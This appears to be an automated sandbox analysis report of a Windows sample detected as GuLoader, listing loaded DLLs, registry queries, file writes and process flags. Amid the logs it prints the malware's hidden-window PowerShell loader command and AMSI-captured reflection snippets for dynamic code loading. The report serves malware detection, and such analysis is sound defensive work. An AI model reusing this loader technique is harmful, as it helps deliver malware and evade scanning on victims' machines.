Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Glued.lnk.0.dr

LNK file: ..\..\Users\user\Videos\homeopathic\blodfattigheden.afs

Source: C:\Users\user\Desktop\24100311.EXE.exe

File written: C:\Users\user\AppData\Local\Temp\Cloud Setting.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 24100311.EXE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000001.00000002.2044142173.000000000724B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb1 source: powershell.exe, 00000001.00000002.2047324172.00000000081C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdbg#1sO' source: powershell.exe, 00000001.00000002.2047324172.00000000081C0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.2049174087.000000000A206000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Courgettens $Okkuperingens $Styket), (tailored @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Douras = [AppDomain]::CurrentDomain.GetAssemblies()$global:S
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Morfinrusen)), $Reflektorernes).DefineDynamicModule($Styrkende, $false).DefineType($vejovis, $Mundenes, [System.MulticastDelegate])$Br

Suspicious powershell command line found

Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_072CC35C push eax; ret		1_2_072CC35D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08D50E40 push eax; ret		1_2_08D51351

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
